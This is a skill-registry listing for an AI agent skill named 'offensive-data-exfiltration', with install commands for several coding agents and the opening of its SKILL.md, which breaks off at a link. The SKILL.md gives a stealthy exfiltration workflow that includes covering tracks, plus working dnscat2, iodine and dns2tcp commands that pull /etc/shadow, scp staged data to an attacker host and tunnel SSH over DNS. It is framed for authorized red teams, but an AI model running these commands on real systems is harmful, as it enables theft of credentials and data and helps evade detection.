# Offensive Data Exfiltration

Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling...

- Repository: https://github.com/SnailSploit/Claude-Red (10186 stars)
- Category: Security
- License: MIT
- Last updated: 2026-10-12
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add SnailSploit/Claude-Red --skill offensive-data-exfiltration -g -a claude-code -y`
Codex: `npx skills add SnailSploit/Claude-Red --skill offensive-data-exfiltration -g -a codex -y`
Cursor: `npx skills add SnailSploit/Claude-Red --skill offensive-data-exfiltration -g -a cursor -y`
Gemini CLI: `npx skills add SnailSploit/Claude-Red --skill offensive-data-exfiltration -g -a gemini-cli -y`

## Description

Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling (domain fronting, CDN abuse, legitimate service channels), ICMP tunneling (icmpsh, ptunnel-ng), cloud storage dead drops (S3 presigned URLs, Azure Blob SAS tokens, GCS signed URLs), email-based exfil (SMTP, EWS, draft method), steganography (image, audio, document metadata), encoding/encryption (base64 chunking, XOR, AES), covert channels (custom protocol tunneling, HTTP header encoding, timing channels), and data staging (compression, splitting, encryption). Tools: dnscat2, iodine, dns2tcp, PacketWhisper, chisel, stunnel, icmpsh, ptunnel-ng, steghide, zsteg, OpenStego. MITRE ATT&CK: T1048 (Exfiltration Over Alternative Protocol), T1041 (Exfiltration Over C2 Channel), T1567 (Exfiltration Over Web Service), T1029 (Scheduled Transfer), T1030 (Data Transfer Size Limits), T1132 (Data Encoding), T1001 (Data Obfuscation). Use when planning or executing data exfiltration during authorized red team engagements or post-exploitation.

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# Data Exfiltration -- Offensive Methodology

## Quick Workflow

1. **Inventory target data.** Map files, databases, credentials. Assess volume and classification.
2. **Stage.** Copy to a controlled directory. Strip unnecessary metadata and deduplicate.
3. **Compress and split.** Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).
4. **Encrypt.** AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.
5. **Select channel.** DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).
6. **Transmit.** Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.
7. **Verify receipt.** Recompute SHA-256 on the receiving end and compare against source manifest.
8. **Clean up.** Securely delete staging, temp files, dropped tools, and any scheduled tasks.

---

## DNS Exfiltration

MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS

### dnscat2

```bash
# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first
ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret

# Client on target
./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret

# Server console -- file transfer
session -i 1
download /etc/shadow /tmp/loot/shadow
```

```bash
# Force CNAME queries to avoid TXT-based detection
./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret
```

### iodine Tunneling

```bash
# Server (authoritative NS)
iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com

# Client -- creates dns0 interface at 10.0.0.2
iodine -f -P ExfilPassword tunnel.yourdomain.com
scp /tmp/staged.tar.enc attacker@10.0.0.1:/loot/
```

### dns2tcp

```bash
# Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22
dns2tcpd -f /etc/dns2tcpd.conf

# Client -- tunnel SSH over DNS
dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1
ssh -p 2222 attacker@127.0.0.1
```

### TXT/CNAME Record Encoding

The rest: https://github.com/SnailSploit/Claude-Red/blob/HEAD/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md